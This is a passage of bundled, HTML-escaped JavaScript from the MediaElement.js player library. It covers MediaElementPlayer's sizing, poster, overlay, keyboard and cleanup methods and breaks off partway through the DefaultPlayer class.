		key: &#039;setResponsiveMode&#039;,
		value: function setResponsiveMode() {
			var t = this,
			    parent = function () {

				var parentEl = void 0,
				    el = t.getElement(t.container);

				while (el) {
					try {
						if (_constants.IS_FIREFOX &amp;&amp; el.tagName.toLowerCase() === &#039;html&#039; &amp;&amp; _window2.default.self !== _window2.default.top &amp;&amp; _window2.default.frameElement !== null) {
							return _window2.default.frameElement;
						} else {
							parentEl = el.parentElement;
						}
					} catch (e) {
						parentEl = el.parentElement;
					}

					if (parentEl &amp;&amp; dom.visible(parentEl)) {
						return parentEl;
					}
					el = parentEl;
				}

				return null;
			}(),
			    parentStyles = parent ? getComputedStyle(parent, null) : getComputedStyle(_document2.default.body, null),
			    nativeWidth = function () {
				if (t.isVideo) {
					if (t.node.videoWidth &amp;&amp; t.node.videoWidth &gt; 0) {
						return t.node.videoWidth;
					} else if (t.node.getAttribute(&#039;width&#039;)) {
						return t.node.getAttribute(&#039;width&#039;);
					} else {
						return t.options.defaultVideoWidth;
					}
				} else {
					return t.options.defaultAudioWidth;
				}
			}(),
			    nativeHeight = function () {
				if (t.isVideo) {
					if (t.node.videoHeight &amp;&amp; t.node.videoHeight &gt; 0) {
						return t.node.videoHeight;
					} else if (t.node.getAttribute(&#039;height&#039;)) {
						return t.node.getAttribute(&#039;height&#039;);
					} else {
						return t.options.defaultVideoHeight;
					}
				} else {
					return t.options.defaultAudioHeight;
				}
			}(),
			    aspectRatio = function () {
				if (!t.options.enableAutosize) {
					return t.initialAspectRatio;
				}
				var ratio = 1;
				if (!t.isVideo) {
					return ratio;
				}

				if (t.node.videoWidth &amp;&amp; t.node.videoWidth &gt; 0 &amp;&amp; t.node.videoHeight &amp;&amp; t.node.videoHeight &gt; 0) {
					ratio = t.height &gt;= t.width ? t.node.videoWidth / t.node.videoHeight : t.node.videoHeight / t.node.videoWidth;
				} else {
					ratio = t.initialAspectRatio;
				}

				if (isNaN(ratio) || ratio &lt; 0.01 || ratio &gt; 100) {
					ratio = 1;
				}

				return ratio;
			}(),
			    parentHeight = parseFloat(parentStyles.height);

			var newHeight = void 0,
			    parentWidth = parseFloat(parentStyles.width);

			if (t.isVideo) {
				if (t.height === &#039;100%&#039;) {
					newHeight = parseFloat(parentWidth * nativeHeight / nativeWidth, 10);
				} else {
					newHeight = t.height &gt;= t.width ? parseFloat(parentWidth / aspectRatio, 10) : parseFloat(parentWidth * aspectRatio, 10);
				}
			} else {
				newHeight = nativeHeight;
			}

			if (isNaN(newHeight)) {
				newHeight = parentHeight;
			}

			if (t.getElement(t.container).parentNode.length &gt; 0 &amp;&amp; t.getElement(t.container).parentNode.tagName.toLowerCase() === &#039;body&#039;) {
				parentWidth = _window2.default.innerWidth || _document2.default.documentElement.clientWidth || _document2.default.body.clientWidth;
				newHeight = _window2.default.innerHeight || _document2.default.documentElement.clientHeight || _document2.default.body.clientHeight;
			}

			if (newHeight &amp;&amp; parentWidth) {
				t.getElement(t.container).style.width = parentWidth + &#039;px&#039;;
				t.getElement(t.container).style.height = newHeight + &#039;px&#039;;

				t.node.style.width = &#039;100%&#039;;
				t.node.style.height = &#039;100%&#039;;

				if (t.isVideo &amp;&amp; t.media.setSize) {
					t.media.setSize(parentWidth, newHeight);
				}

				var layerChildren = t.getElement(t.layers).children;
				for (var i = 0, total = layerChildren.length; i &lt; total; i++) {
					layerChildren[i].style.width = &#039;100%&#039;;
					layerChildren[i].style.height = &#039;100%&#039;;
				}
			}
		}
	}, {
		key: &#039;setFillMode&#039;,
		value: function setFillMode() {
			var t = this;
			var isIframe = _window2.default.self !== _window2.default.top &amp;&amp; _window2.default.frameElement !== null;
			var parent = function () {
				var parentEl = void 0,
				    el = t.getElement(t.container);

				while (el) {
					try {
						if (_constants.IS_FIREFOX &amp;&amp; el.tagName.toLowerCase() === &#039;html&#039; &amp;&amp; _window2.default.self !== _window2.default.top &amp;&amp; _window2.default.frameElement !== null) {
							return _window2.default.frameElement;
						} else {
							parentEl = el.parentElement;
						}
					} catch (e) {
						parentEl = el.parentElement;
					}

					if (parentEl &amp;&amp; dom.visible(parentEl)) {
						return parentEl;
					}
					el = parentEl;
				}

				return null;
			}();
			var parentStyles = parent ? getComputedStyle(parent, null) : getComputedStyle(_document2.default.body, null);

			if (t.node.style.height !== &#039;none&#039; &amp;&amp; t.node.style.height !== t.height) {
				t.node.style.height = &#039;auto&#039;;
			}
			if (t.node.style.maxWidth !== &#039;none&#039; &amp;&amp; t.node.style.maxWidth !== t.width) {
				t.node.style.maxWidth = &#039;none&#039;;
			}

			if (t.node.style.maxHeight !== &#039;none&#039; &amp;&amp; t.node.style.maxHeight !== t.height) {
				t.node.style.maxHeight = &#039;none&#039;;
			}

			if (t.node.currentStyle) {
				if (t.node.currentStyle.height === &#039;100%&#039;) {
					t.node.currentStyle.height = &#039;auto&#039;;
				}
				if (t.node.currentStyle.maxWidth === &#039;100%&#039;) {
					t.node.currentStyle.maxWidth = &#039;none&#039;;
				}
				if (t.node.currentStyle.maxHeight === &#039;100%&#039;) {
					t.node.currentStyle.maxHeight = &#039;none&#039;;
				}
			}

			if (!isIframe &amp;&amp; !parseFloat(parentStyles.width)) {
				parent.style.width = t.media.offsetWidth + &#039;px&#039;;
			}

			if (!isIframe &amp;&amp; !parseFloat(parentStyles.height)) {
				parent.style.height = t.media.offsetHeight + &#039;px&#039;;
			}

			parentStyles = getComputedStyle(parent);

			var parentWidth = parseFloat(parentStyles.width),
			    parentHeight = parseFloat(parentStyles.height);

			t.setDimensions(&#039;100%&#039;, &#039;100%&#039;);

			var poster = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;poster&gt;img&#039;);
			if (poster) {
				poster.style.display = &#039;&#039;;
			}

			var targetElement = t.getElement(t.container).querySelectorAll(&#039;object, embed, iframe, video&#039;),
			    initHeight = t.height,
			    initWidth = t.width,
			    scaleX1 = parentWidth,
			    scaleY1 = initHeight * parentWidth / initWidth,
			    scaleX2 = initWidth * parentHeight / initHeight,
			    scaleY2 = parentHeight,
			    bScaleOnWidth = scaleX2 &gt; parentWidth === false,
			    finalWidth = bScaleOnWidth ? Math.floor(scaleX1) : Math.floor(scaleX2),
			    finalHeight = bScaleOnWidth ? Math.floor(scaleY1) : Math.floor(scaleY2),
			    width = bScaleOnWidth ? parentWidth + &#039;px&#039; : finalWidth + &#039;px&#039;,
			    height = bScaleOnWidth ? finalHeight + &#039;px&#039; : parentHeight + &#039;px&#039;;

			for (var i = 0, total = targetElement.length; i &lt; total; i++) {
				targetElement[i].style.height = height;
				targetElement[i].style.width = width;
				if (t.media.setSize) {
					t.media.setSize(width, height);
				}

				targetElement[i].style.marginLeft = Math.floor((parentWidth - finalWidth) / 2) + &#039;px&#039;;
				targetElement[i].style.marginTop = 0;
			}
		}
	}, {
		key: &#039;setDimensions&#039;,
		value: function setDimensions(width, height) {
			var t = this;

			width = (0, _general.isString)(width) &amp;&amp; width.indexOf(&#039;%&#039;) &gt; -1 ? width : parseFloat(width) + &#039;px&#039;;
			height = (0, _general.isString)(height) &amp;&amp; height.indexOf(&#039;%&#039;) &gt; -1 ? height : parseFloat(height) + &#039;px&#039;;

			t.getElement(t.container).style.width = width;
			t.getElement(t.container).style.height = height;

			var layers = t.getElement(t.layers).children;
			for (var i = 0, total = layers.length; i &lt; total; i++) {
				layers[i].style.width = width;
				layers[i].style.height = height;
			}
		}
	}, {
		key: &#039;setControlsSize&#039;,
		value: function setControlsSize() {
			var t = this;

			if (!dom.visible(t.getElement(t.container))) {
				return;
			}

			if (t.rail &amp;&amp; dom.visible(t.rail)) {
				var totalStyles = t.total ? getComputedStyle(t.total, null) : null,
				    totalMargin = totalStyles ? parseFloat(totalStyles.marginLeft) + parseFloat(totalStyles.marginRight) : 0,
				    railStyles = getComputedStyle(t.rail),
				    railMargin = parseFloat(railStyles.marginLeft) + parseFloat(railStyles.marginRight);

				var siblingsWidth = 0;

				var siblings = dom.siblings(t.rail, function (el) {
					return el !== t.rail;
				}),
				    total = siblings.length;
				for (var i = 0; i &lt; total; i++) {
					siblingsWidth += siblings[i].offsetWidth;
				}

				siblingsWidth += totalMargin + (totalMargin === 0 ? railMargin * 2 : railMargin) + 1;

				t.getElement(t.container).style.minWidth = siblingsWidth + &#039;px&#039;;

				var event = (0, _general.createEvent)(&#039;controlsresize&#039;, t.getElement(t.container));
				t.getElement(t.container).dispatchEvent(event);
			} else {
				var children = t.getElement(t.controls).children;
				var minWidth = 0;

				for (var _i = 0, _total = children.length; _i &lt; _total; _i++) {
					minWidth += children[_i].offsetWidth;
				}

				t.getElement(t.container).style.minWidth = minWidth + &#039;px&#039;;
			}
		}
	}, {
		key: &#039;addControlElement&#039;,
		value: function addControlElement(element, key) {

			var t = this;

			if (t.featurePosition[key] !== undefined) {
				var child = t.getElement(t.controls).children[t.featurePosition[key] - 1];
				child.parentNode.insertBefore(element, child.nextSibling);
			} else {
				t.getElement(t.controls).appendChild(element);
				var children = t.getElement(t.controls).children;
				for (var i = 0, total = children.length; i &lt; total; i++) {
					if (element === children[i]) {
						t.featurePosition[key] = i;
						break;
					}
				}
			}
		}
	}, {
		key: &#039;createIframeLayer&#039;,
		value: function createIframeLayer() {
			var t = this;

			if (t.isVideo &amp;&amp; t.media.rendererName !== null &amp;&amp; t.media.rendererName.indexOf(&#039;iframe&#039;) &gt; -1 &amp;&amp; !_document2.default.getElementById(t.media.id + &#039;-iframe-overlay&#039;)) {

				var layer = _document2.default.createElement(&#039;div&#039;),
				    target = _document2.default.getElementById(t.media.id + &#039;_&#039; + t.media.rendererName);

				layer.id = t.media.id + &#039;-iframe-overlay&#039;;
				layer.className = t.options.classPrefix + &#039;iframe-overlay&#039;;
				layer.addEventListener(&#039;click&#039;, function (e) {
					if (t.options.clickToPlayPause) {
						if (t.paused) {
							t.play();
						} else {
							t.pause();
						}

						e.preventDefault();
						e.stopPropagation();
					}
				});

				target.parentNode.insertBefore(layer, target);
			}
		}
	}, {
		key: &#039;resetSize&#039;,
		value: function resetSize() {
			var t = this;

			setTimeout(function () {
				t.setPlayerSize(t.width, t.height);
				t.setControlsSize();
			}, 50);
		}
	}, {
		key: &#039;setPoster&#039;,
		value: function setPoster(url) {
			var t = this;

			if (t.getElement(t.container)) {
				var posterDiv = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;poster&#039;);

				if (!posterDiv) {
					posterDiv = _document2.default.createElement(&#039;div&#039;);
					posterDiv.className = t.options.classPrefix + &#039;poster &#039; + t.options.classPrefix + &#039;layer&#039;;
					t.getElement(t.layers).appendChild(posterDiv);
				}

				var posterImg = posterDiv.querySelector(&#039;img&#039;);

				if (!posterImg &amp;&amp; url) {
					posterImg = _document2.default.createElement(&#039;img&#039;);
					posterImg.className = t.options.classPrefix + &#039;poster-img&#039;;
					posterImg.width = &#039;100%&#039;;
					posterImg.height = &#039;100%&#039;;
					posterDiv.style.display = &#039;&#039;;
					posterDiv.appendChild(posterImg);
				}

				if (url) {
					posterImg.setAttribute(&#039;src&#039;, url);
					posterDiv.style.backgroundImage = &#039;url(&quot;&#039; + url + &#039;&quot;)&#039;;
					posterDiv.style.display = &#039;&#039;;
				} else if (posterImg) {
					posterDiv.style.backgroundImage = &#039;none&#039;;
					posterDiv.style.display = &#039;none&#039;;
					posterImg.remove();
				} else {
					posterDiv.style.display = &#039;none&#039;;
				}
			} else if (_constants.IS_IPAD &amp;&amp; t.options.iPadUseNativeControls || _constants.IS_IPHONE &amp;&amp; t.options.iPhoneUseNativeControls || _constants.IS_ANDROID &amp;&amp; t.options.AndroidUseNativeControls) {
				t.media.originalNode.poster = url;
			}
		}
	}, {
		key: &#039;changeSkin&#039;,
		value: function changeSkin(className) {
			var t = this;

			t.getElement(t.container).className = t.options.classPrefix + &#039;container &#039; + className;
			t.setPlayerSize(t.width, t.height);
			t.setControlsSize();
		}
	}, {
		key: &#039;globalBind&#039;,
		value: function globalBind(events, callback) {
			var t = this,
			    doc = t.node ? t.node.ownerDocument : _document2.default;

			events = (0, _general.splitEvents)(events, t.id);
			if (events.d) {
				var eventList = events.d.split(&#039; &#039;);
				for (var i = 0, total = eventList.length; i &lt; total; i++) {
					eventList[i].split(&#039;.&#039;).reduce(function (part, e) {
						doc.addEventListener(e, callback, false);
						return e;
					}, &#039;&#039;);
				}
			}
			if (events.w) {
				var _eventList = events.w.split(&#039; &#039;);
				for (var _i2 = 0, _total2 = _eventList.length; _i2 &lt; _total2; _i2++) {
					_eventList[_i2].split(&#039;.&#039;).reduce(function (part, e) {
						_window2.default.addEventListener(e, callback, false);
						return e;
					}, &#039;&#039;);
				}
			}
		}
	}, {
		key: &#039;globalUnbind&#039;,
		value: function globalUnbind(events, callback) {
			var t = this,
			    doc = t.node ? t.node.ownerDocument : _document2.default;

			events = (0, _general.splitEvents)(events, t.id);
			if (events.d) {
				var eventList = events.d.split(&#039; &#039;);
				for (var i = 0, total = eventList.length; i &lt; total; i++) {
					eventList[i].split(&#039;.&#039;).reduce(function (part, e) {
						doc.removeEventListener(e, callback, false);
						return e;
					}, &#039;&#039;);
				}
			}
			if (events.w) {
				var _eventList2 = events.w.split(&#039; &#039;);
				for (var _i3 = 0, _total3 = _eventList2.length; _i3 &lt; _total3; _i3++) {
					_eventList2[_i3].split(&#039;.&#039;).reduce(function (part, e) {
						_window2.default.removeEventListener(e, callback, false);
						return e;
					}, &#039;&#039;);
				}
			}
		}
	}, {
		key: &#039;buildfeatures&#039;,
		value: function buildfeatures(player, controls, layers, media) {
			var t = this;

			for (var i = 0, total = t.options.features.length; i &lt; total; i++) {
				var feature = t.options.features[i];
				if (t[&#039;build&#039; + feature]) {
					try {
						t[&#039;build&#039; + feature](player, controls, layers, media);
					} catch (e) {
						console.error(&#039;error building &#039; + feature, e);
					}
				}
			}
		}
	}, {
		key: &#039;buildposter&#039;,
		value: function buildposter(player, controls, layers, media) {
			var t = this,
			    poster = _document2.default.createElement(&#039;div&#039;);

			poster.className = t.options.classPrefix + &#039;poster &#039; + t.options.classPrefix + &#039;layer&#039;;
			layers.appendChild(poster);

			var posterUrl = media.originalNode.getAttribute(&#039;poster&#039;);

			if (player.options.poster !== &#039;&#039;) {
				if (posterUrl &amp;&amp; _constants.IS_IOS) {
					media.originalNode.removeAttribute(&#039;poster&#039;);
				}
				posterUrl = player.options.poster;
			}

			if (posterUrl) {
				t.setPoster(posterUrl);
			} else if (t.media.renderer !== null &amp;&amp; typeof t.media.renderer.getPosterUrl === &#039;function&#039;) {
				t.setPoster(t.media.renderer.getPosterUrl());
			} else {
				poster.style.display = &#039;none&#039;;
			}

			media.addEventListener(&#039;play&#039;, function () {
				poster.style.display = &#039;none&#039;;
			});

			media.addEventListener(&#039;playing&#039;, function () {
				poster.style.display = &#039;none&#039;;
			});

			if (player.options.showPosterWhenEnded &amp;&amp; player.options.autoRewind) {
				media.addEventListener(&#039;ended&#039;, function () {
					poster.style.display = &#039;&#039;;
				});
			}

			media.addEventListener(&#039;error&#039;, function () {
				poster.style.display = &#039;none&#039;;
			});

			if (player.options.showPosterWhenPaused) {
				media.addEventListener(&#039;pause&#039;, function () {
					if (!player.ended) {
						poster.style.display = &#039;&#039;;
					}
				});
			}
		}
	}, {
		key: &#039;buildoverlays&#039;,
		value: function buildoverlays(player, controls, layers, media) {

			if (!player.isVideo) {
				return;
			}

			var t = this,
			    loading = _document2.default.createElement(&#039;div&#039;),
			    error = _document2.default.createElement(&#039;div&#039;),
			    bigPlay = _document2.default.createElement(&#039;div&#039;);

			loading.style.display = &#039;none&#039;;
			loading.className = t.options.classPrefix + &#039;overlay &#039; + t.options.classPrefix + &#039;layer&#039;;
			loading.innerHTML = &#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;overlay-loading&quot;&gt;&#039; + (&#039;&lt;span class=&quot;&#039; + t.options.classPrefix + &#039;overlay-loading-bg-img&quot;&gt;&lt;/span&gt;&#039;) + &#039;&lt;/div&gt;&#039;;
			layers.appendChild(loading);

			error.style.display = &#039;none&#039;;
			error.className = t.options.classPrefix + &#039;overlay &#039; + t.options.classPrefix + &#039;layer&#039;;
			error.innerHTML = &#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;overlay-error&quot;&gt;&lt;/div&gt;&#039;;
			layers.appendChild(error);

			bigPlay.className = t.options.classPrefix + &#039;overlay &#039; + t.options.classPrefix + &#039;layer &#039; + t.options.classPrefix + &#039;overlay-play&#039;;
			bigPlay.innerHTML = &#039;&lt;div class=&quot;&#039; + t.options.classPrefix + &#039;overlay-button&quot; role=&quot;button&quot; tabindex=&quot;0&quot; &#039; + (&#039;aria-label=&quot;&#039; + _i18n2.default.t(&#039;mejs.play&#039;) + &#039;&quot; aria-pressed=&quot;false&quot;&gt;&lt;/div&gt;&#039;);
			bigPlay.addEventListener(&#039;click&#039;, function () {
				if (t.options.clickToPlayPause) {

					var button = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;overlay-button&#039;),
					    pressed = button.getAttribute(&#039;aria-pressed&#039;);

					if (t.paused) {
						t.play();
					} else {
						t.pause();
					}

					button.setAttribute(&#039;aria-pressed&#039;, !!pressed);
					t.getElement(t.container).focus();
				}
			});

			bigPlay.addEventListener(&#039;keydown&#039;, function (e) {
				var keyPressed = e.keyCode || e.which || 0;

				if (keyPressed === 13 || _constants.IS_FIREFOX &amp;&amp; keyPressed === 32) {
					var event = (0, _general.createEvent)(&#039;click&#039;, bigPlay);
					bigPlay.dispatchEvent(event);
					return false;
				}
			});

			layers.appendChild(bigPlay);

			if (t.media.rendererName !== null &amp;&amp; (/(youtube|facebook)/i.test(t.media.rendererName) &amp;&amp; !(t.media.originalNode.getAttribute(&#039;poster&#039;) || player.options.poster || typeof t.media.renderer.getPosterUrl === &#039;function&#039; &amp;&amp; t.media.renderer.getPosterUrl()) || _constants.IS_STOCK_ANDROID || t.media.originalNode.getAttribute(&#039;autoplay&#039;))) {
				bigPlay.style.display = &#039;none&#039;;
			}

			var hasError = false;

			media.addEventListener(&#039;play&#039;, function () {
				bigPlay.style.display = &#039;none&#039;;
				loading.style.display = &#039;none&#039;;
				error.style.display = &#039;none&#039;;
				hasError = false;
			});
			media.addEventListener(&#039;playing&#039;, function () {
				bigPlay.style.display = &#039;none&#039;;
				loading.style.display = &#039;none&#039;;
				error.style.display = &#039;none&#039;;
				hasError = false;
			});
			media.addEventListener(&#039;seeking&#039;, function () {
				bigPlay.style.display = &#039;none&#039;;
				loading.style.display = &#039;&#039;;
				hasError = false;
			});
			media.addEventListener(&#039;seeked&#039;, function () {
				bigPlay.style.display = t.paused &amp;&amp; !_constants.IS_STOCK_ANDROID ? &#039;&#039; : &#039;none&#039;;
				loading.style.display = &#039;none&#039;;
				hasError = false;
			});
			media.addEventListener(&#039;pause&#039;, function () {
				loading.style.display = &#039;none&#039;;
				if (!_constants.IS_STOCK_ANDROID &amp;&amp; !hasError) {
					bigPlay.style.display = &#039;&#039;;
				}
				hasError = false;
			});
			media.addEventListener(&#039;waiting&#039;, function () {
				loading.style.display = &#039;&#039;;
				hasError = false;
			});

			media.addEventListener(&#039;loadeddata&#039;, function () {
				loading.style.display = &#039;&#039;;

				if (_constants.IS_ANDROID) {
					media.canplayTimeout = setTimeout(function () {
						if (_document2.default.createEvent) {
							var evt = _document2.default.createEvent(&#039;HTMLEvents&#039;);
							evt.initEvent(&#039;canplay&#039;, true, true);
							return media.dispatchEvent(evt);
						}
					}, 300);
				}
				hasError = false;
			});
			media.addEventListener(&#039;canplay&#039;, function () {
				loading.style.display = &#039;none&#039;;

				clearTimeout(media.canplayTimeout);
				hasError = false;
			});

			media.addEventListener(&#039;error&#039;, function (e) {
				t._handleError(e, t.media, t.node);
				loading.style.display = &#039;none&#039;;
				bigPlay.style.display = &#039;none&#039;;
				hasError = true;
			});

			media.addEventListener(&#039;loadedmetadata&#039;, function () {
				if (!t.controlsEnabled) {
					t.enableControls();
				}
			});

			media.addEventListener(&#039;keydown&#039;, function (e) {
				t.onkeydown(player, media, e);
				hasError = false;
			});
		}
	}, {
		key: &#039;buildkeyboard&#039;,
		value: function buildkeyboard(player, controls, layers, media) {

			var t = this;

			t.getElement(t.container).addEventListener(&#039;keydown&#039;, function () {
				t.keyboardAction = true;
			});

			t.globalKeydownCallback = function (event) {
				var container = _document2.default.activeElement.closest(&#039;.&#039; + t.options.classPrefix + &#039;container&#039;),
				    target = t.media.closest(&#039;.&#039; + t.options.classPrefix + &#039;container&#039;);
				t.hasFocus = !!(container &amp;&amp; target &amp;&amp; container.id === target.id);
				return t.onkeydown(player, media, event);
			};

			t.globalClickCallback = function (event) {
				t.hasFocus = !!event.target.closest(&#039;.&#039; + t.options.classPrefix + &#039;container&#039;);
			};

			t.globalBind(&#039;keydown&#039;, t.globalKeydownCallback);

			t.globalBind(&#039;click&#039;, t.globalClickCallback);
		}
	}, {
		key: &#039;onkeydown&#039;,
		value: function onkeydown(player, media, e) {

			if (player.hasFocus &amp;&amp; player.options.enableKeyboard) {
				for (var i = 0, total = player.options.keyActions.length; i &lt; total; i++) {
					var keyAction = player.options.keyActions[i];

					for (var j = 0, jl = keyAction.keys.length; j &lt; jl; j++) {
						if (e.keyCode === keyAction.keys[j]) {
							keyAction.action(player, media, e.keyCode, e);
							e.preventDefault();
							e.stopPropagation();
							return;
						}
					}
				}
			}

			return true;
		}
	}, {
		key: &#039;play&#039;,
		value: function play() {
			this.proxy.play();
		}
	}, {
		key: &#039;pause&#039;,
		value: function pause() {
			this.proxy.pause();
		}
	}, {
		key: &#039;load&#039;,
		value: function load() {
			this.proxy.load();
		}
	}, {
		key: &#039;setCurrentTime&#039;,
		value: function setCurrentTime(time) {
			this.proxy.setCurrentTime(time);
		}
	}, {
		key: &#039;getCurrentTime&#039;,
		value: function getCurrentTime() {
			return this.proxy.currentTime;
		}
	}, {
		key: &#039;getDuration&#039;,
		value: function getDuration() {
			return this.proxy.duration;
		}
	}, {
		key: &#039;setVolume&#039;,
		value: function setVolume(volume) {
			this.proxy.volume = volume;
		}
	}, {
		key: &#039;getVolume&#039;,
		value: function getVolume() {
			return this.proxy.getVolume();
		}
	}, {
		key: &#039;setMuted&#039;,
		value: function setMuted(value) {
			this.proxy.setMuted(value);
		}
	}, {
		key: &#039;setSrc&#039;,
		value: function setSrc(src) {
			if (!this.controlsEnabled) {
				this.enableControls();
			}
			this.proxy.setSrc(src);
		}
	}, {
		key: &#039;getSrc&#039;,
		value: function getSrc() {
			return this.proxy.getSrc();
		}
	}, {
		key: &#039;canPlayType&#039;,
		value: function canPlayType(type) {
			return this.proxy.canPlayType(type);
		}
	}, {
		key: &#039;remove&#039;,
		value: function remove() {
			var t = this,
			    rendererName = t.media.rendererName,
			    src = t.media.originalNode.src;

			for (var featureIndex in t.options.features) {
				var feature = t.options.features[featureIndex];
				if (t[&#039;clean&#039; + feature]) {
					try {
						t[&#039;clean&#039; + feature](t, t.getElement(t.layers), t.getElement(t.controls), t.media);
					} catch (e) {
						console.error(&#039;error cleaning &#039; + feature, e);
					}
				}
			}

			var nativeWidth = t.node.getAttribute(&#039;width&#039;),
			    nativeHeight = t.node.getAttribute(&#039;height&#039;);

			if (nativeWidth) {
				if (nativeWidth.indexOf(&#039;%&#039;) === -1) {
					nativeWidth = nativeWidth + &#039;px&#039;;
				}
			} else {
				nativeWidth = &#039;auto&#039;;
			}

			if (nativeHeight) {
				if (nativeHeight.indexOf(&#039;%&#039;) === -1) {
					nativeHeight = nativeHeight + &#039;px&#039;;
				}
			} else {
				nativeHeight = &#039;auto&#039;;
			}

			t.node.style.width = nativeWidth;
			t.node.style.height = nativeHeight;

			t.setPlayerSize(0, 0);

			if (!t.isDynamic) {
				(function () {
					t.node.setAttribute(&#039;controls&#039;, true);
					t.node.setAttribute(&#039;id&#039;, t.node.getAttribute(&#039;id&#039;).replace(&#039;_&#039; + rendererName, &#039;&#039;).replace(&#039;_from_mejs&#039;, &#039;&#039;));
					var poster = t.getElement(t.container).querySelector(&#039;.&#039; + t.options.classPrefix + &#039;poster&gt;img&#039;);
					if (poster) {
						t.node.setAttribute(&#039;poster&#039;, poster.src);
					}

					delete t.node.autoplay;

					t.node.setAttribute(&#039;src&#039;, &#039;&#039;);
					if (t.media.canPlayType((0, _media.getTypeFromFile)(src)) !== &#039;&#039;) {
						t.node.setAttribute(&#039;src&#039;, src);
					}

					if (rendererName &amp;&amp; rendererName.indexOf(&#039;iframe&#039;) &gt; -1) {
						var layer = _document2.default.getElementById(t.media.id + &#039;-iframe-overlay&#039;);
						layer.remove();
					}

					var node = t.node.cloneNode();
					node.style.display = &#039;&#039;;
					t.getElement(t.container).parentNode.insertBefore(node, t.getElement(t.container));
					t.node.remove();

					if (t.mediaFiles) {
						for (var i = 0, total = t.mediaFiles.length; i &lt; total; i++) {
							var source = _document2.default.createElement(&#039;source&#039;);
							source.setAttribute(&#039;src&#039;, t.mediaFiles[i].src);
							source.setAttribute(&#039;type&#039;, t.mediaFiles[i].type);
							node.appendChild(source);
						}
					}
					if (t.trackFiles) {
						var _loop3 = function _loop3(_i4, _total4) {
							var track = t.trackFiles[_i4];
							var newTrack = _document2.default.createElement(&#039;track&#039;);
							newTrack.kind = track.kind;
							newTrack.label = track.label;
							newTrack.srclang = track.srclang;
							newTrack.src = track.src;

							node.appendChild(newTrack);
							newTrack.addEventListener(&#039;load&#039;, function () {
								this.mode = &#039;showing&#039;;
								node.textTracks[_i4].mode = &#039;showing&#039;;
							});
						};

						for (var _i4 = 0, _total4 = t.trackFiles.length; _i4 &lt; _total4; _i4++) {
							_loop3(_i4, _total4);
						}
					}

					delete t.node;
					delete t.mediaFiles;
					delete t.trackFiles;
				})();
			} else {
				t.getElement(t.container).parentNode.insertBefore(t.node, t.getElement(t.container));
			}

			if (t.media.renderer &amp;&amp; typeof t.media.renderer.destroy === &#039;function&#039;) {
				t.media.renderer.destroy();
			}

			delete _mejs2.default.players[t.id];

			if (_typeof(t.getElement(t.container)) === &#039;object&#039;) {
				var offscreen = t.getElement(t.container).parentNode.querySelector(&#039;.&#039; + t.options.classPrefix + &#039;offscreen&#039;);
				if (offscreen) {
					offscreen.remove();
				}
				t.getElement(t.container).remove();
			}
			t.globalUnbind(&#039;resize&#039;, t.globalResizeCallback);
			t.globalUnbind(&#039;keydown&#039;, t.globalKeydownCallback);
			t.globalUnbind(&#039;click&#039;, t.globalClickCallback);

			delete t.media.player;
		}
	}, {
		key: &#039;paused&#039;,
		get: function get() {
			return this.proxy.paused;
		}
	}, {
		key: &#039;muted&#039;,
		get: function get() {
			return this.proxy.muted;
		},
		set: function set(muted) {
			this.setMuted(muted);
		}
	}, {
		key: &#039;ended&#039;,
		get: function get() {
			return this.proxy.ended;
		}
	}, {
		key: &#039;readyState&#039;,
		get: function get() {
			return this.proxy.readyState;
		}
	}, {
		key: &#039;currentTime&#039;,
		set: function set(time) {
			this.setCurrentTime(time);
		},
		get: function get() {
			return this.getCurrentTime();
		}
	}, {
		key: &#039;duration&#039;,
		get: function get() {
			return this.getDuration();
		}
	}, {
		key: &#039;volume&#039;,
		set: function set(volume) {
			this.setVolume(volume);
		},
		get: function get() {
			return this.getVolume();
		}
	}, {
		key: &#039;src&#039;,
		set: function set(src) {
			this.setSrc(src);
		},
		get: function get() {
			return this.getSrc();
		}
	}]);

	return MediaElementPlayer;
}();

_window2.default.MediaElementPlayer = MediaElementPlayer;
_mejs2.default.MediaElementPlayer = MediaElementPlayer;

exports.default = MediaElementPlayer;

},{&quot;17&quot;:17,&quot;2&quot;:2,&quot;25&quot;:25,&quot;26&quot;:26,&quot;27&quot;:27,&quot;28&quot;:28,&quot;3&quot;:3,&quot;30&quot;:30,&quot;5&quot;:5,&quot;6&quot;:6,&quot;7&quot;:7}],17:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i &lt; props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (&quot;value&quot; in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(&quot;Cannot call a class as a function&quot;); } }

var DefaultPlayer = function () {
	function DefaultPlayer(player) {
		_classCallCheck(this, DefaultPlayer);

		this.media = player.media;
		this.isVideo = player.isVideo;
		this.classPrefix = player.options.classPrefix;
		this.createIframeLayer = function () {
			return player.createIframeLayer();
		};
		this.setPoster = function (url) {
			return player.setPoster(url);
		};
		return this;
	}

	_createClass(DefaultPlayer, [{
		key: &#039;play&#039;,
		value: function play() {
			this.media.play();
		}
	}, {
		key: &#039;pause&#039;,
		value: function pause() {
			this.media.pause();
		}
	}, {
		key: &#039;load&#039;,
		value: function load() {
			var t = this;

			if (!t.isLoaded) {
				t.media.load();
			}

			t.isLoaded = true;
		}
	}, {
		key: &#039;setCurrentTime&#039;,
		value: function setCurrentTime(time) {
			this.media.setCurrentTime(time);
		}
	}, {
		key: &#039;getCurrentTime&#039;,
		value: function getCurrentTime() {
			return this.media.currentTime;
		}
	}, {
		key: &#039;getDuration&#039;,
		value: function getDuration() {
			var duration = this.media.getDuration();
			if (duration === Infinity &amp;&amp; this.media.seekable &amp;&amp; this.media.seekable.length) {
				duration = this.media.seekable.end(0);
			}
			return duration;
		}
	}, {
